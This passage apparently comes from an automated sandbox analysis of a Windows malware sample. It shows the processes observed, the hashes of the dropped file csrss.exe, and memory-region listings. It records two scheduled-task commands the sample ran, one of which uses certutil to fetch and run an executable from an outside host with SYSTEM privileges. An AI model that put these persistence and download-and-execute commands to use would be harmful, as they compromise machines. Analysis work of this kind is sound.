-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129193401.log C:\Windows\Logs\CBS\CbsPersist_20230129193401.cab1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD5af424c205619015d4f10b6f0454400dc
SHA1fd770c56d4825035ed4bd9aa396fa958d23c5b1d
SHA2565fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1
SHA512f9094d8471b2a04bd9ab0b814498f7f2e0c827fed649a1093f728bac97bf80e0506242415ef7a5948377785ecd52d83d6d883f734e04879cac4d90cc7ae1d09e
-
\Windows\rss\csrss.exeFilesize
3.9MB
MD5af424c205619015d4f10b6f0454400dc
SHA1fd770c56d4825035ed4bd9aa396fa958d23c5b1d
SHA2565fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1
SHA512f9094d8471b2a04bd9ab0b814498f7f2e0c827fed649a1093f728bac97bf80e0506242415ef7a5948377785ecd52d83d6d883f734e04879cac4d90cc7ae1d09e
-
\Windows\rss\csrss.exeFilesize
3.9MB
MD5af424c205619015d4f10b6f0454400dc
SHA1fd770c56d4825035ed4bd9aa396fa958d23c5b1d
SHA2565fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1
SHA512f9094d8471b2a04bd9ab0b814498f7f2e0c827fed649a1093f728bac97bf80e0506242415ef7a5948377785ecd52d83d6d883f734e04879cac4d90cc7ae1d09e
-
memory/840-65-0x000007FEFC131000-0x000007FEFC133000-memory.dmpFilesize
8KB
-
memory/840-64-0x0000000000000000-mapping.dmp
-
memory/1056-61-0x0000000000000000-mapping.dmp
-
memory/1472-69-0x0000000000000000-mapping.dmp
-
memory/1472-71-0x00000000026A0000-0x0000000002A48000-memory.dmpFilesize
3.7MB
-
memory/1472-76-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/1472-75-0x00000000026A0000-0x0000000002A48000-memory.dmpFilesize
3.7MB
-
memory/1472-74-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/1472-73-0x00000000026A0000-0x0000000002A48000-memory.dmpFilesize
3.7MB
-
memory/1720-58-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/1720-57-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/1720-56-0x00000000029B0000-0x00000000031B4000-memory.dmpFilesize
8.0MB
-
memory/1720-54-0x0000000002600000-0x00000000029A8000-memory.dmpFilesize
3.7MB
-
memory/1720-55-0x0000000002600000-0x00000000029A8000-memory.dmpFilesize
3.7MB
-
memory/1720-59-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/1976-66-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/1976-72-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/1976-60-0x00000000024D0000-0x0000000002878000-memory.dmpFilesize
3.7MB
-
memory/1976-63-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/1976-62-0x00000000024D0000-0x0000000002878000-memory.dmpFilesize
3.7MB